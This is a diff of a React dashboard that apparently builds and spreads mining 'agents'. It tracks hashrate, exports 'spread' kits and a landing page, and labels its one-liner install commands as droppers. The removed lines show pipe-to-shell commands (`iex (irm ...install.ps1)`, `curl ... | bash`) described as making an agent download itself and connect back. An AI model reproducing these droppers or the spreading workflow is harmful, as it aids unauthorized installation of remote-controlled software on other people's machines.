||||||
});
|
|
||||||
};
|
|
||||||
|
|
||||||
const ps1 = `iex (irm '${base}/install.ps1')`;
|
|
||||||
const sh = `curl -sL ${base}/install.sh | bash`;
|
|
||||||
const dlWin = `${base}/get?os=windows`;
|
|
||||||
const dlLin = `${base}/get?os=linux`;
|
|
||||||
const dlMac = `${base}/get?os=darwin`;
|
|
||||||
|
|
||||||
const Row = ({ label, cmd, id }: { label: string; cmd: string; id: string }) => (
|
|
||||||
<div style={{ display: 'flex', alignItems: 'center', gap: '0.5rem', marginBottom: '0.4rem' }}>
|
|
||||||
<span className="font-tech" style={{ minWidth: '5rem', color: 'var(--clr-amber)', fontSize: '0.75rem' }}>{label}</span>
|
|
||||||
<code style={{ flex: 1, background: 'rgba(0,0,0,0.4)', padding: '0.3rem 0.6rem', borderRadius: '4px', fontSize: '0.8rem', color: '#eee', overflowX: 'auto', whiteSpace: 'nowrap' }}>{cmd}</code>
|
|
||||||
<button className="btn btn-sm" onClick={() => copy(cmd, id)} style={{ whiteSpace: 'nowrap', minWidth: '4.5rem' }}>
|
|
||||||
{copied === id ? '✓ Copied' : 'Copy'}
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
);
|
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<NeonCard accent="cyan" className="operator-deck-card operator-interactive" style={{ marginBottom: '1.25rem' }}>
|
<NeonCard accent="cyan" className="operator-deck-card operator-interactive" style={{ marginBottom: '1.25rem' }}>
|
||||||
<div style={{ display: 'flex', alignItems: 'center', gap: '0.75rem', marginBottom: '0.75rem' }}>
|
<div style={{ display: 'flex', alignItems: 'center', justifyContent: 'space-between', gap: '1rem', flexWrap: 'wrap' }}>
|
||||||
<span style={{ fontSize: '1.2rem' }}>⚡</span>
|
|
||||||
<div>
|
<div>
|
||||||
<strong className="font-display" style={{ fontSize: '1rem' }}>One-liner Quick Deploy</strong>
|
<strong className="font-display" style={{ fontSize: '1rem' }}>Deploy a new worker</strong>
|
||||||
<p className="form-hint" style={{ margin: 0 }}>
|
<p className="form-hint" style={{ margin: 0 }}>
|
||||||
Run any of these commands on a remote machine — the agent downloads itself and connects back automatically.
|
Per-machine install commands (PowerShell, bash, direct download) live in Builds.
|
||||||
No files to transfer manually.
|
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
<Link to="/builds" className="btn btn-outline">
|
||||||
|
View install commands in Builds →
|
||||||
<div style={{ marginBottom: '0.75rem' }}>
|
</Link>
|
||||||
<div className="font-tech" style={{ fontSize: '0.7rem', color: 'var(--clr-dim)', marginBottom: '0.4rem', textTransform: 'uppercase', letterSpacing: '0.08em' }}>Install & run (auto-launches)</div>
|
|
||||||
<Row label="Windows" cmd={ps1} id="ps1" />
|
|
||||||
<Row label="Linux/Mac" cmd={sh} id="sh" />
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div>
|
|
||||||
<div className="font-tech" style={{ fontSize: '0.7rem', color: 'var(--clr-dim)', marginBottom: '0.4rem', textTransform: 'uppercase', letterSpacing: '0.08em' }}>Direct download only (saves file)</div>
|
|
||||||
<Row label="Windows" cmd={dlWin} id="dlw" />
|
|
||||||
<Row label="Linux" cmd={dlLin} id="dll" />
|
|
||||||
<Row label="macOS" cmd={dlMac} id="dlm" />
|
|
||||||
</div>
|
</div>
|
||||||
</NeonCard>
|
</NeonCard>
|
||||||
);
|
);
|
||||||
@@ -92,7 +54,6 @@ export default function AgentsPage() {
|
|||||||
const [bulkBusy, setBulkBusy] = useState(false);
|
const [bulkBusy, setBulkBusy] = useState(false);
|
||||||
const [hashrateHistory, setHashrateHistory] = useState<HashrateSample[]>([]);
|
const [hashrateHistory, setHashrateHistory] = useState<HashrateSample[]>([]);
|
||||||
const [loading, setLoading] = useState(true);
|
const [loading, setLoading] = useState(true);
|
||||||
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
|
|
||||||
const [loadError, setLoadError] = useState('');
|
const [loadError, setLoadError] = useState('');
|
||||||
const [logContent, setLogContent] = useState('');
|
const [logContent, setLogContent] = useState('');
|
||||||
const [logLoading, setLogLoading] = useState(false);
|
const [logLoading, setLogLoading] = useState(false);
|
||||||
@@ -152,7 +113,6 @@ export default function AgentsPage() {
|
|||||||
.finally(() => {
|
.finally(() => {
|
||||||
if (!cancelled) setLoading(false);
|
if (!cancelled) setLoading(false);
|
||||||
});
|
});
|
||||||
api.getServerInfo().then(setServerInfo).catch(() => {});
|
|
||||||
return () => {
|
return () => {
|
||||||
cancelled = true;
|
cancelled = true;
|
||||||
};
|
};
|
||||||
@@ -380,7 +340,7 @@ export default function AgentsPage() {
|
|||||||
<span className="header-count font-tech">{filteredAgents.length}/{agents.length} NODES</span>
|
<span className="header-count font-tech">{filteredAgents.length}/{agents.length} NODES</span>
|
||||||
</header>
|
</header>
|
||||||
|
|
||||||
<QuickDeployPanel serverInfo={serverInfo} />
|
<BuildsInstallLink />
|
||||||
|
|
||||||
{loadError && (
|
{loadError && (
|
||||||
<NeonCard accent="amber" className="empty-state">
|
<NeonCard accent="amber" className="empty-state">
|
||||||
|
|||||||
@@ -31,6 +31,12 @@
|
|||||||
flex-shrink: 0;
|
flex-shrink: 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.bm-action-hint {
|
||||||
|
display: inline-flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.15rem;
|
||||||
|
}
|
||||||
|
|
||||||
/* ── empty / loading ── */
|
/* ── empty / loading ── */
|
||||||
.bm-empty {
|
.bm-empty {
|
||||||
text-align: center;
|
text-align: center;
|
||||||
|
|||||||
@@ -6,6 +6,7 @@ import DownloadButton from '../components/DownloadButton';
|
|||||||
import AuthDownloadButton from '../components/AuthDownloadButton';
|
import AuthDownloadButton from '../components/AuthDownloadButton';
|
||||||
import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
|
import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
|
||||||
import NeonCard from '../components/NeonCard/NeonCard';
|
import NeonCard from '../components/NeonCard/NeonCard';
|
||||||
|
import { HelpTip } from '../components/HelpTip';
|
||||||
import './BuildManagerPage.css';
|
import './BuildManagerPage.css';
|
||||||
|
|
||||||
// ─── helpers ─────────────────────────────────────────────────────────────────
|
// ─── helpers ─────────────────────────────────────────────────────────────────
|
||||||
@@ -51,7 +52,7 @@ export function platformLabel(p?: string): string {
|
|||||||
export function platformColor(p?: string): string {
|
export function platformColor(p?: string): string {
|
||||||
if (!p) return 'var(--neon-cyan)';
|
if (!p) return 'var(--neon-cyan)';
|
||||||
const m: Record<string, string> = {
|
const m: Record<string, string> = {
|
||||||
windows: '#00e5ff', linux: '#a3e635', darwin: '#f0abfc', universal: '#ffd700',
|
windows: 'var(--neon-cyan)', linux: '#a3e635', darwin: '#f0abfc', universal: 'var(--neon-amber)',
|
||||||
};
|
};
|
||||||
return m[p.toLowerCase()] ?? '#aaa';
|
return m[p.toLowerCase()] ?? '#aaa';
|
||||||
}
|
}
|
||||||
@@ -231,8 +232,9 @@ function BuildCard({
|
|||||||
<span
|
<span
|
||||||
className="bm-platform-badge"
|
className="bm-platform-badge"
|
||||||
style={{ color: platformColor(build.platform) }}
|
style={{ color: platformColor(build.platform) }}
|
||||||
|
title={build.platform ?? 'windows'}
|
||||||
>
|
>
|
||||||
{platformLabel(build.platform)}
|
{platformLabel(build.platform)} <HelpTip field="bm_platform_badge" />
|
||||||
</span>
|
</span>
|
||||||
{build.public && <span className="bm-tag bm-tag-public">PUBLIC</span>}
|
{build.public && <span className="bm-tag bm-tag-public">PUBLIC</span>}
|
||||||
{isFusion && <span className="bm-tag bm-tag-fusion">FUSION</span>}
|
{isFusion && <span className="bm-tag bm-tag-fusion">FUSION</span>}
|
||||||
@@ -308,7 +310,8 @@ function BuildCard({
|
|||||||
<div className="bm-downloads-label font-tech">
|
<div className="bm-downloads-label font-tech">
|
||||||
{build.pinned
|
{build.pinned
|
||||||
? 'ONE-LINER DEPLOY (serves this pinned build)'
|
? 'ONE-LINER DEPLOY (serves this pinned build)'
|
||||||
: 'ONE-LINER DEPLOY (serves latest build)'}
|
: 'ONE-LINER DEPLOY (serves latest build)'}{' '}
|
||||||
|
<HelpTip field="bm_dropper_oneliner" />
|
||||||
</div>
|
</div>
|
||||||
<div className="bm-dropper-row">
|
<div className="bm-dropper-row">
|
||||||
<span className="bm-dropper-os">Win</span>
|
<span className="bm-dropper-os">Win</span>
|
||||||
@@ -334,15 +337,18 @@ function BuildCard({
|
|||||||
<span className="bm-qr-label">Scan to download</span>
|
<span className="bm-qr-label">Scan to download</span>
|
||||||
</div>
|
</div>
|
||||||
<div className="bm-action-btns">
|
<div className="bm-action-btns">
|
||||||
<PublicButton buildId={build.id} isPublic={!!build.public} onToggled={onPinned} onError={onActionError} />
|
<span className="bm-action-hint"><PublicButton buildId={build.id} isPublic={!!build.public} onToggled={onPinned} onError={onActionError} /><HelpTip field="bm_public_build" /></span>
|
||||||
<PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} onError={onActionError} />
|
<span className="bm-action-hint"><PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} onError={onActionError} /><HelpTip field="bm_pin_dropper" /></span>
|
||||||
<button
|
<span className="bm-action-hint">
|
||||||
type="button"
|
<button
|
||||||
className="btn btn-secondary bm-reforge-btn"
|
type="button"
|
||||||
onClick={() => onReforge(build)}
|
className="btn btn-secondary bm-reforge-btn"
|
||||||
>
|
onClick={() => onReforge(build)}
|
||||||
⚒ Re-forge
|
>
|
||||||
</button>
|
⚒ Re-forge
|
||||||
|
</button>
|
||||||
|
<HelpTip field="bm_reforge" />
|
||||||
|
</span>
|
||||||
<DeleteButton buildId={build.id} onDeleted={onDeleted} onError={onActionError} />
|
<DeleteButton buildId={build.id} onDeleted={onDeleted} onError={onActionError} />
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -285,7 +285,8 @@ describe('BuilderPage', () => {
|
|||||||
await user.click(wizard.getByRole('button', { name: 'Next →' }));
|
await user.click(wizard.getByRole('button', { name: 'Next →' }));
|
||||||
await user.click(wizard.getByRole('button', { name: '🚀 Launch Ritual' }));
|
await user.click(wizard.getByRole('button', { name: '🚀 Launch Ritual' }));
|
||||||
|
|
||||||
expect(await screen.findByText('Mission complete — links copied')).toBeInTheDocument();
|
expect(await screen.findByText('Mission complete')).toBeInTheDocument();
|
||||||
|
expect(screen.getByRole('button', { name: /View install commands in Builds/i })).toBeInTheDocument();
|
||||||
expect(screen.getByRole('link', { name: 'Open spread landing' })).toHaveAttribute('href', '/spread/');
|
expect(screen.getByRole('link', { name: 'Open spread landing' })).toHaveAttribute('href', '/spread/');
|
||||||
expect(api.buildAgent).toHaveBeenCalled();
|
expect(api.buildAgent).toHaveBeenCalled();
|
||||||
expect(api.exportSpreadKit).toHaveBeenCalled();
|
expect(api.exportSpreadKit).toHaveBeenCalled();
|
||||||
|
|||||||
@@ -59,10 +59,8 @@ import {
|
|||||||
MISSION_STEPS,
|
MISSION_STEPS,
|
||||||
MISSION_STEP_LABELS,
|
MISSION_STEP_LABELS,
|
||||||
applyMissionPresets,
|
applyMissionPresets,
|
||||||
copyMissionLinks,
|
|
||||||
missionStepStatus,
|
missionStepStatus,
|
||||||
runForgeMission,
|
runForgeMission,
|
||||||
type MissionLinks,
|
|
||||||
type MissionStep,
|
type MissionStep,
|
||||||
} from '../help/forgeMission';
|
} from '../help/forgeMission';
|
||||||
import {
|
import {
|
||||||
@@ -210,8 +208,8 @@ export default function BuilderPage() {
|
|||||||
const [missionStep, setMissionStep] = useState<MissionStep | null>(null);
|
const [missionStep, setMissionStep] = useState<MissionStep | null>(null);
|
||||||
const [missionBusy, setMissionBusy] = useState(false);
|
const [missionBusy, setMissionBusy] = useState(false);
|
||||||
const [missionExportSkipped, setMissionExportSkipped] = useState(false);
|
const [missionExportSkipped, setMissionExportSkipped] = useState(false);
|
||||||
const [missionModal, setMissionModal] = useState<MissionLinks | null>(null);
|
const [missionComplete, setMissionComplete] = useState(false);
|
||||||
useModalAmbientDuck(!!missionModal);
|
useModalAmbientDuck(missionComplete);
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
const syncTheme = () => setForgeTheme(loadStoredForgeTheme());
|
const syncTheme = () => setForgeTheme(loadStoredForgeTheme());
|
||||||
@@ -720,7 +718,7 @@ export default function BuilderPage() {
|
|||||||
if (!form) return;
|
if (!form) return;
|
||||||
setError('');
|
setError('');
|
||||||
setLastBuild(null);
|
setLastBuild(null);
|
||||||
setMissionModal(null);
|
setMissionComplete(false);
|
||||||
setMissionExportSkipped(false);
|
setMissionExportSkipped(false);
|
||||||
setMissionWizardStep('launch');
|
setMissionWizardStep('launch');
|
||||||
|
|
||||||
@@ -757,8 +755,7 @@ export default function BuilderPage() {
|
|||||||
});
|
});
|
||||||
setMissionExportSkipped(result.exportSkipped);
|
setMissionExportSkipped(result.exportSkipped);
|
||||||
setForm(normalized);
|
setForm(normalized);
|
||||||
await copyMissionLinks(result.links);
|
setMissionComplete(true);
|
||||||
setMissionModal(result.links);
|
|
||||||
await finishForgeSuccess(result.build);
|
await finishForgeSuccess(result.build);
|
||||||
} catch (err: unknown) {
|
} catch (err: unknown) {
|
||||||
const msg = err instanceof Error ? err.message : 'Mission failed';
|
const msg = err instanceof Error ? err.message : 'Mission failed';
|
||||||
@@ -966,7 +963,7 @@ export default function BuilderPage() {
|
|||||||
});
|
});
|
||||||
|
|
||||||
const endpointCandidates = serverInfo ? lanEndpointCandidates(serverInfo, listenPort) : [];
|
const endpointCandidates = serverInfo ? lanEndpointCandidates(serverInfo, listenPort) : [];
|
||||||
const setupStatus = getSetupStatus(calibrateConfig);
|
const setupStatus = getSetupStatus(calibrateConfig, serverInfo);
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<div className={forgeSkinClass}>
|
<div className={forgeSkinClass}>
|
||||||
@@ -1291,7 +1288,7 @@ export default function BuilderPage() {
|
|||||||
)}
|
)}
|
||||||
{!missionBusy && missionStep !== 'error' && (
|
{!missionBusy && missionStep !== 'error' && (
|
||||||
<p className="form-hint" style={{ marginTop: 0 }}>
|
<p className="form-hint" style={{ marginTop: 0 }}>
|
||||||
Ritual: Configure presets → Forge (45 min timeout) → Export spread ZIP → Copy dropper links.
|
Ritual: Configure presets → Forge (45 min timeout) → Export spread ZIP → Install commands in Builds.
|
||||||
</p>
|
</p>
|
||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
@@ -2989,38 +2986,26 @@ export default function BuilderPage() {
|
|||||||
{dispenseReveal?.success && (
|
{dispenseReveal?.success && (
|
||||||
<ForgeDispenseReveal result={dispenseReveal} onClose={() => setDispenseReveal(null)} />
|
<ForgeDispenseReveal result={dispenseReveal} onClose={() => setDispenseReveal(null)} />
|
||||||
)}
|
)}
|
||||||
{missionModal && (
|
{missionComplete && (
|
||||||
<div
|
<div
|
||||||
className="forge-mission-modal-backdrop"
|
className="forge-mission-modal-backdrop"
|
||||||
role="dialog"
|
role="dialog"
|
||||||
aria-modal="true"
|
aria-modal="true"
|
||||||
aria-labelledby="mission-modal-title"
|
aria-labelledby="mission-modal-title"
|
||||||
onClick={() => setMissionModal(null)}
|
onClick={() => setMissionComplete(false)}
|
||||||
>
|
>
|
||||||
<div className="forge-mission-modal" onClick={(e) => e.stopPropagation()}>
|
<div className="forge-mission-modal" onClick={(e) => e.stopPropagation()}>
|
||||||
<h3 id="mission-modal-title">Mission complete — links copied</h3>
|
<h3 id="mission-modal-title">Mission complete</h3>
|
||||||
<p className="form-hint" style={{ marginTop: 0 }}>
|
<p className="form-hint" style={{ marginTop: 0 }}>
|
||||||
PowerShell, bash, and /get URLs are on your clipboard. Pin + campaign query included when set.
|
Your build is ready. Copy per-machine install commands from Builds.
|
||||||
</p>
|
</p>
|
||||||
<div className="forge-mission-link-block">
|
|
||||||
<p>PowerShell</p>
|
|
||||||
<code>{missionModal.ps1}</code>
|
|
||||||
</div>
|
|
||||||
<div className="forge-mission-link-block">
|
|
||||||
<p>curl | bash</p>
|
|
||||||
<code>{missionModal.sh}</code>
|
|
||||||
</div>
|
|
||||||
<div className="forge-mission-link-block">
|
|
||||||
<p>/get dropper</p>
|
|
||||||
<code>{missionModal.get}</code>
|
|
||||||
</div>
|
|
||||||
<div style={{ display: 'flex', gap: '0.5rem', flexWrap: 'wrap' }}>
|
<div style={{ display: 'flex', gap: '0.5rem', flexWrap: 'wrap' }}>
|
||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
className="btn btn-outline btn-sm"
|
className="btn btn-primary btn-sm"
|
||||||
onClick={() => void copyMissionLinks(missionModal)}
|
onClick={() => navigate('/builds')}
|
||||||
>
|
>
|
||||||
Copy all
|
View install commands in Builds →
|
||||||
</button>
|
</button>
|
||||||
<a
|
<a
|
||||||
href="/spread/"
|
href="/spread/"
|
||||||
@@ -3030,7 +3015,7 @@ export default function BuilderPage() {
|
|||||||
>
|
>
|
||||||
Open spread landing
|
Open spread landing
|
||||||
</a>
|
</a>
|
||||||
<button type="button" className="btn btn-primary btn-sm" onClick={() => setMissionModal(null)}>
|
<button type="button" className="btn btn-outline btn-sm" onClick={() => setMissionComplete(false)}>
|
||||||
Done
|
Done
|
||||||
</button>
|
</button>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -246,10 +246,10 @@
|
|||||||
border-radius: 3px;
|
border-radius: 3px;
|
||||||
letter-spacing: 0.04em;
|
letter-spacing: 0.04em;
|
||||||
}
|
}
|
||||||
.cn-upd.upd-ok { color: #00ff88; background: rgba(0,255,136,0.08); }
|
.cn-upd.upd-ok { color: var(--neon-green); background: rgba(46,232,16,0.1); }
|
||||||
.cn-upd.upd-warn { color: var(--neon-amber); background: rgba(255,176,32,0.1); }
|
.cn-upd.upd-warn { color: var(--neon-amber); background: rgba(255,176,32,0.1); }
|
||||||
.cn-upd.upd-bad { color: #ff4444; background: rgba(255,68,68,0.12); font-weight: 700; }
|
.cn-upd.upd-bad { color: var(--error-color); background: rgba(255,68,102,0.12); font-weight: 700; }
|
||||||
.cn-upd.upd-unk { color: #888; background: rgba(128,128,128,0.08); }
|
.cn-upd.upd-unk { color: var(--text-muted); background: rgba(255,255,255,0.06); }
|
||||||
|
|
||||||
/* ── Reboot-pending badge ──────────────────────────────────────────────────── */
|
/* ── Reboot-pending badge ──────────────────────────────────────────────────── */
|
||||||
.cn-reboot {
|
.cn-reboot {
|
||||||
@@ -260,8 +260,8 @@
|
|||||||
letter-spacing: 0.04em;
|
letter-spacing: 0.04em;
|
||||||
}
|
}
|
||||||
.cn-reboot.rb-pending {
|
.cn-reboot.rb-pending {
|
||||||
color: #ff2222;
|
color: var(--error-color);
|
||||||
background: rgba(255,34,34,0.15);
|
background: rgba(255,68,102,0.15);
|
||||||
font-weight: 700;
|
font-weight: 700;
|
||||||
animation: rb-blink 1.4s step-end infinite;
|
animation: rb-blink 1.4s step-end infinite;
|
||||||
}
|
}
|
||||||
@@ -311,7 +311,7 @@
|
|||||||
letter-spacing: 0.04em;
|
letter-spacing: 0.04em;
|
||||||
cursor: default;
|
cursor: default;
|
||||||
}
|
}
|
||||||
.cn-thermal.therm-hot { color: #ff3333; background: rgba(255,51,51,0.14); font-weight: 700; animation: rb-blink 1.6s step-end infinite; }
|
.cn-thermal.therm-hot { color: var(--error-color); background: rgba(255,68,102,0.14); font-weight: 700; animation: rb-blink 1.6s step-end infinite; }
|
||||||
.cn-thermal.therm-warm { color: var(--neon-amber); background: rgba(255,176,32,0.1); }
|
.cn-thermal.therm-warm { color: var(--neon-amber); background: rgba(255,176,32,0.1); }
|
||||||
.cn-disk.disk-crit { color: #ff3333; background: rgba(255,51,51,0.14); font-weight: 700; }
|
.cn-disk.disk-crit { color: #ff3333; background: rgba(255,51,51,0.14); font-weight: 700; }
|
||||||
.cn-disk.disk-warn { color: var(--neon-amber); background: rgba(255,176,32,0.1); }
|
.cn-disk.disk-warn { color: var(--neon-amber); background: rgba(255,176,32,0.1); }
|
||||||
@@ -447,10 +447,31 @@
|
|||||||
|
|
||||||
/* ── Actions ─────────────────────────────────────────────────────────── */
|
/* ── Actions ─────────────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.crucible-ops-panel {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 0.45rem;
|
||||||
|
}
|
||||||
|
|
||||||
.crucible-ops {
|
.crucible-ops {
|
||||||
display: grid;
|
display: grid;
|
||||||
grid-template-columns: repeat(auto-fill, minmax(240px, 1fr));
|
grid-template-columns: repeat(2, minmax(0, 1fr));
|
||||||
gap: 0.55rem;
|
gap: 0.55rem;
|
||||||
|
align-items: start;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (max-width: 900px) {
|
||||||
|
.crucible-ops {
|
||||||
|
grid-template-columns: 1fr;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Full-width groups inside the ops grid */
|
||||||
|
.crucible-ops .cop-network,
|
||||||
|
.crucible-ops .cop-maint,
|
||||||
|
.crucible-ops .cop-seek,
|
||||||
|
.crucible-ops .crucible-seek-group {
|
||||||
|
grid-column: 1 / -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ── Op group card ───────────────────────────────────────────────────── */
|
/* ── Op group card ───────────────────────────────────────────────────── */
|
||||||
@@ -518,7 +539,7 @@
|
|||||||
|
|
||||||
.cop-shell { grid-column: 1 / -1; }
|
.cop-shell { grid-column: 1 / -1; }
|
||||||
|
|
||||||
.cop-network { grid-column: 1 / -1; border-color: rgba(58, 134, 255, 0.2); }
|
.cop-network { border-color: rgba(58, 134, 255, 0.2); }
|
||||||
.cop-network .cop-label { color: rgba(58, 134, 255, 0.8); border-bottom-color: rgba(58, 134, 255, 0.14); }
|
.cop-network .cop-label { color: rgba(58, 134, 255, 0.8); border-bottom-color: rgba(58, 134, 255, 0.14); }
|
||||||
.cop-network .crucible-op-btn {
|
.cop-network .crucible-op-btn {
|
||||||
border-color: rgba(58, 134, 255, 0.28);
|
border-color: rgba(58, 134, 255, 0.28);
|
||||||
@@ -537,13 +558,20 @@
|
|||||||
color: rgba(255, 120, 200, 0.95);
|
color: rgba(255, 120, 200, 0.95);
|
||||||
}
|
}
|
||||||
|
|
||||||
.cop-maint { grid-column: 1 / -1; border-color: rgba(0, 212, 170, 0.2); }
|
.cop-maint { border-color: rgba(0, 212, 170, 0.2); }
|
||||||
.cop-maint .cop-label { color: rgba(0, 212, 170, 0.8); border-bottom-color: rgba(0, 212, 170, 0.14); }
|
.cop-maint .cop-label { color: rgba(0, 212, 170, 0.8); border-bottom-color: rgba(0, 212, 170, 0.14); }
|
||||||
|
|
||||||
.crucible-op-collapsible .cop-toggle {
|
.crucible-op-collapsible .cop-toggle-row {
|
||||||
width: 100%;
|
width: 100%;
|
||||||
display: flex;
|
display: flex;
|
||||||
align-items: center;
|
align-items: center;
|
||||||
|
gap: 0.35rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.crucible-op-collapsible .cop-toggle {
|
||||||
|
flex: 1;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
justify-content: space-between;
|
justify-content: space-between;
|
||||||
background: none;
|
background: none;
|
||||||
border: none;
|
border: none;
|
||||||
@@ -555,6 +583,10 @@
|
|||||||
border-bottom: none;
|
border-bottom: none;
|
||||||
margin-bottom: 0;
|
margin-bottom: 0;
|
||||||
padding-bottom: 0;
|
padding-bottom: 0;
|
||||||
|
display: inline-flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.25rem;
|
||||||
|
width: auto;
|
||||||
}
|
}
|
||||||
.crucible-op-collapsible .cop-chevron {
|
.crucible-op-collapsible .cop-chevron {
|
||||||
font-size: 0.65rem;
|
font-size: 0.65rem;
|
||||||
@@ -955,16 +987,76 @@
|
|||||||
|
|
||||||
/* ── SSH Info ─────────────────────────────────────────────────────────── */
|
/* ── SSH Info ─────────────────────────────────────────────────────────── */
|
||||||
|
|
||||||
.crucible-ssh-info { margin-bottom: 2rem; }
|
.crucible-ssh-notes {
|
||||||
|
width: 100%;
|
||||||
.crucible-ssh-grid {
|
|
||||||
display: grid;
|
display: grid;
|
||||||
grid-template-columns: 1fr 1fr;
|
grid-template-columns: 1fr 1fr;
|
||||||
gap: 0.75rem 1.5rem;
|
gap: 0.55rem 1rem;
|
||||||
margin-top: 0.5rem;
|
margin-top: 0.35rem;
|
||||||
|
padding-top: 0.45rem;
|
||||||
|
border-top: 1px dashed rgba(255, 255, 255, 0.08);
|
||||||
}
|
}
|
||||||
|
|
||||||
@media (max-width: 700px) { .crucible-ssh-grid { grid-template-columns: 1fr; } }
|
@media (max-width: 700px) {
|
||||||
|
.crucible-ssh-notes { grid-template-columns: 1fr; }
|
||||||
|
}
|
||||||
|
|
||||||
|
.crucible-seek-blurb {
|
||||||
|
width: 100%;
|
||||||
|
margin: 0 0 0.35rem;
|
||||||
|
font-size: 0.72rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
line-height: 1.45;
|
||||||
|
}
|
||||||
|
|
||||||
|
.crucible-seek-input {
|
||||||
|
width: 100%;
|
||||||
|
margin-bottom: 0.35rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.seek-field-label {
|
||||||
|
width: 100%;
|
||||||
|
font-size: 0.65rem;
|
||||||
|
letter-spacing: 0.1em;
|
||||||
|
text-transform: uppercase;
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
margin-bottom: 0.2rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.crucible-seek-platforms {
|
||||||
|
width: 100%;
|
||||||
|
display: flex;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
gap: 1rem;
|
||||||
|
margin-bottom: 0.5rem;
|
||||||
|
font-size: 0.8rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.crucible-seek-platforms label {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.35rem;
|
||||||
|
cursor: pointer;
|
||||||
|
}
|
||||||
|
|
||||||
|
.crucible-seek-platforms .seek-win { color: #61dafb; }
|
||||||
|
.crucible-seek-platforms .seek-mac { color: #a8ff78; }
|
||||||
|
.crucible-seek-platforms .seek-hint { color: #555; font-size: 0.7rem; }
|
||||||
|
|
||||||
|
.crucible-seek-launch {
|
||||||
|
background: linear-gradient(135deg, #ff8c00 0%, #ff4500 100%) !important;
|
||||||
|
border: none !important;
|
||||||
|
color: #fff !important;
|
||||||
|
font-weight: 700;
|
||||||
|
letter-spacing: 0.08em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.crucible-fm-hint {
|
||||||
|
width: 100%;
|
||||||
|
margin: 0 0 0.35rem;
|
||||||
|
font-size: 0.72rem;
|
||||||
|
}
|
||||||
|
|
||||||
.crucible-ssh-step {
|
.crucible-ssh-step {
|
||||||
display: flex;
|
display: flex;
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user